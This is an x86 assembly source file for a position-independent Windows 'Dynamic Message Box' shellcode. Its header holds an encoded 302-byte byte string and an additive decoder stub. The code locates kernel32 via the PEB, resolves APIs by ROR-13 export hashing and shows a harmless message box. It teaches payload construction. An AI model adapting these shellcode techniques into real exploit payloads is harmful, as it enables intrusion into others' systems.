; dynamicmsg.asm ; ; Dynamic Message Box (302 bytes) ; ; When assembled to shellcode the code below creates null bytes, so ; be sure to encode it first. I've done so using an additive encoder/ ; decoder that can be downloaded from www.bmgsec.com.au. ; ; Supports: 95/98/ME/NT/2K/XP/Vista ; Origin: http://www.bmgsec.com.au/download/8/ ; ; //Additive decoder, 22 bytes [ bmgsec.com.au ] ; "\xeb\x0f\x5e\x31\xc9\x66\xb9\x2e\x01\x80\x06\x02\x46\xe2\xfa\xeb" ; "\x05\xe8\xec\xff\xff\xff" ; ; //Dynamic Message Box Shellcode, 302 bytes, exitMethod=ExitProcess [ bmgsec.com.au ] ; "\x2f\xbe\x2f\xd9\x2f\xc7\x2f\xd0\xe7\x9a\xfe\xfe\xfe\x54\x2f\xbe" ; "\x62\x89\x3e\x2e\x83\xbe\x76\x0a\x89\x3e\x0a\x89\x6e\x1a\xab\x89" ; "\x3e\x06\xe9\x07\x89\x3e\x32\x8b\x3e\x7a\x89\x3e\x3a\x5c\xc1\x5e" ; "\x89\x6a\x22\x22\x89\x43\x3a\x89\x52\x03\x76\xff\xe8\x89\x48\x16" ; "\x89\x58\x1e\xff\xe9\xe1\x32\x47\x89\x32\x89\xff\xec\x2f\xfd\x2f" ; "\xbe\xfa\xaa\x82\xbe\x72\x05\xbf\xcd\x0b\xff\xc5\xe9\xf2\x39\x7a" ; "\x22\x26\x73\xdf\x89\x58\x22\xff\xe9\x64\x89\x0a\x49\x89\x58\x1a" ; "\xff\xe9\x89\x02\x89\xff\xe6\x87\x42\x22\x1a\x5f\xc1\xab\x4e\x50" ; "\xe6\xa8\xfd\xfd\xfd\x87\x05\x7f\xc2\x06\xfe\xfe\xfe\x7f\xc5\x02" ; "\xfe\xfe\xfe\x37\xcc\x73\xe4\xc1\xe6\x1b\xfe\xfe\xfe\x8c\x4c\x0c" ; "\xea\x7c\xd6\xe0\x71\xa6\xa0\x4b\xba\x7f\xea\x06\xfe\xfe\xfe\x87" ; "\xe3\xe6\x55\xfd\xfd\xfd\x87\xc0\xe9\xdc\x5c\x8b\x7b\x02\x87\xef" ; "\x7f\xbf\x06\xfe\xfe\xfe\xe6\xb0\xfd\xfd\xfd\xe9\x37\x56\x2f\xd0" ; "\x86\x4e\x08\x7f\xbf\x02\xfe\xfe\xfe\x4f\x50\x4e\xfd\x53\x02\x58" ; "\x57\x87\xc0\xe6\x93\xfd\xfd\xfd\xe9\x2a\x59\x2f\xd0\x86\x51\x04" ; "\xe9\x2e\x57\x2f\xd0\x86\x4f\x03\x2f\xd0\x50\x51\x4f\x50\xfd\xce" ; "\x2f\xbe\x4e\xfd\x53\x06\xe6\xc0\xfd\xfd\xfd\x73\x71\x63\x70\x31" ; "\x30\x2c\x62\x6a\x6a\x4c\xe6\xcd\xfd\xfd\xfd\x60\x6b\x65\x71\x63" ; "\x61\x4c\xe6\xc9\xfd\xfd\xfd\x77\x5f\x66\x66\x66\x4c\xfd"; ; ; Written by bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au) [SECTION .text] global _start _start: ; eax will hold return values ; edx will usually hold NULL xor eax, eax ; zero out the registers used xor ebx, ebx xor ecx, ecx xor edx, edx jmp StartCode ; PEB method find_kernel32: push esi xor eax, eax mov eax, [fs:eax+0x30] test eax, eax js find_kernel32_9x find_kernel32_nt: mov eax, [eax + 0x0c] mov esi, [eax + 0x1c] lodsd mov eax, [eax + 0x8] jmp short find_kernel32_finished find_kernel32_9x: mov eax, [eax + 0x34] lea eax, [eax + 0x7c] mov eax, [eax + 0x3c] find_kernel32_finished: pop esi ret ; Export Directory Table method find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp short compute_hash_again compute_hash_finished: find_function_compare: cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret ResolveSymbolsForDLL: lodsd push eax ; push hashes for find_function push edx call find_function mov [edi], eax ; save found function address add esp, 0x08 add edi, 0x04 ; increment edi by 4 (due to function address being saved) cmp esi, ecx ; check if esi meets length of hash list jne ResolveSymbolsForDLL ResolveSymbolsForDLLComplete: ret GetHashes: call HashesReturn ; kernel32.dll hash list ; LoadLibraryA hash = 0x8E4E0EEC db 0x8E db 0x4E db 0x0E db 0xEC ; ExitProcess hash = 0x7ED8E273 db 0x7E db 0xD8 db 0xE2 db 0x73 ; user32.dll hash list ; MessageBoxA hash = 0xA8A24DBC db 0xA8 db 0xA2 db 0x4D db 0xBC StartCode: sub esp, 0x08 ; allocate space on the stack for funct addresses mov ebp, esp call find_kernel32 ; find kernel32 base address mov edx, eax jmp short GetHashes HashesReturn: pop esi lea edi, [ebp + 0x04] mov ecx, esi add ecx, 0x08 ; length of kernel32 hash list call ResolveSymbolsForDLL jmp short GetLibrary LibraryReturn: pop eax ; get the library string xor edx, edx ; at this point EDX doesn't need to be zero'd since ; the lower part of edx, dl is already set to 0x00 ; so if you want to save more bytes remove this op. mov [eax + 10], dl ; insert NULL add ecx, 0x04 ; length of user32.dll hash list push ecx push edx push eax ; pointer to user32.dll ; [ebp + 4] is the address of LoadLibraryA call [ebp + 4] ; LoadLibraryA(user32.dll) GetMessageBoxA: pop edx pop ecx mov edx, eax ; address of user32.dll call ResolveSymbolsForDLL jmp short MessageTitle MessageTitleReturn: pop ebx ; get the title string xor edx, edx mov [ebx + 6], dl ; insert NULL jmp short Message MessageReturn: pop ecx ; get the message string xor edx, edx mov [ecx + 5], dl ; insert NULL xor edx, edx ; set to 0 push edx ; MB_OK push ebx ; title push ecx ; message push edx ; NULL window handle ; [ebp + 0x0C] is the address of MessageBoxA ; eax hasn't been modified so we can save a byte call eax ; MessageBoxA(windowhandle, msg, title, type); ExitProcess: xor eax, eax ; zero out previous return value push eax ; push 0 ; [ebp + 8] is the address of ExitProcess(code) call [ebp + 0x08] ; ExitProcess(0) GetLibrary: call LibraryReturn db 'user32.dllN' ; N is a placeholder for a null byte ; 0x00 is not directly used MessageTitle: call MessageTitleReturn db 'bmgsecN' Message: call MessageReturn db 'yahhhN'